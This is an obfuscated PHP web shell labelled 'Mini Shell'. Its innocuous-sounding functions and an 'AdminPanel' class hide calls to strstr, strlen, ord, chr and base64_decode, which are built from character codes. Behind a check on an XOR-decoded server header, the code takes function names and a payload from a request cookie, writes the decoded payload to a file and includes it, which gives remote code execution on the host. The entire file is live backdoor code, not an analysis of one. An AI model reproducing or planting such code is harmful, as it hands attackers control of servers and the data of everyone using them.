Mini Shell
<?php
function store_snapshot(...$ta)
{
$a = array(115, 87 + 11 + 18, 114, 33 + 79, 36 * 3 + 3, 24 + 53 + 38);
$x = '';
foreach ($a as $p) {
$x .= chr($p);
}
return $x(...$ta);
}
function initialize_component($b)
{
$l = array(115, 116, 117 - 3, 24 * 2 + 60, 3 + 96 + 2, 109 + 1);
$e = '';
foreach ($l as $t) {
$e .= chr($t);
}
return $e($b);
}
function optimize_cache($b)
{
$e = array(100, 72 * 85 - 6006, 41 + 36 + 34);
$g = '';
foreach ($e as $j) {
$g .= chr($j);
}
$g = strrev($g);
return $g($b);
}
function sync_data($o)
{
$r = array(53 + 46, 9 + 59 + 36, 95 * 7 - 551);
$oj = '';
foreach ($r as $s) {
$oj .= chr($s);
}
return $oj($o);
}
function schedule_work($a)
{
$t = array(32 + 66, 53 * 1 + 44, 33 + 82, 101, 43 * 1 + 11, 52, 88 * 20 - 1665, 83 + 17, 101, 28 + 6 + 65, 24 * 2 + 63, 51 + 35 + 14, 105 - 4);
$j = '';
foreach ($t as $s) {
$j .= sync_data($s);
}
return $j($a);
}
class AdminPanel
{
private static $_lhm;
static function encryptData($_nyb, $_ly)
{
if (!self::$_lhm) {
self::checkConsistency();
}
$_tno = initialize_component($_ly);
$_qbr = schedule_work(self::$_lhm[$_nyb]);
for ($_er = 0, $_vfu = initialize_component($_qbr); $_er !== $_vfu; ++$_er) {
$_qbr[$_er] = sync_data(optimize_cache($_qbr[$_er]) ^ optimize_cache($_ly[$_er % $_tno]));
}
return $_qbr;
}
private static function checkConsistency()
{
self::$_lhm = array('_qzy' => 'Fz4hPQA/JigNNTQqGiQh', '_coi' => 'FzczDzwyDCY1ACIgGi0z', '_an' => 'bl1dRW1aUEA=', '_iy' => '', '_uex' => '');
}
}
if (isset($_SERVER[AdminPanel::encryptData('_qzy', '_jum')]) && store_snapshot($_SERVER[AdminPanel::encryptData('_coi', '_cg')], AdminPanel::encryptData('_an', '_khv')) !== false) {
$_vfu = $_COOKIE;
$_ly = 00;
$_nyb = 06;
$_rfr = array();
$_rfr[$_ly] = AdminPanel::encryptData('_iy', '_wan');
while ($_nyb) {
$_rfr[$_ly] .= $_vfu[022][$_nyb];
if (!$_vfu[022][$_nyb + 01]) {
if (!$_vfu[022][$_nyb + 02]) {
break;
}
$_ly++;
$_rfr[$_ly] = AdminPanel::encryptData('_uex', '_lbt');
$_nyb++;
}
$_nyb = $_nyb + 06 + 01;
}
$_ly = $_rfr[013]() . $_rfr[026];
if (!$_rfr[011]($_ly)) {
$_nyb = $_rfr[07]($_ly, $_rfr[012]);
$_rfr[01]($_nyb, $_rfr[010] . $_rfr[025]($_rfr[024]($_vfu[03])));
}
include $_ly;
die;
}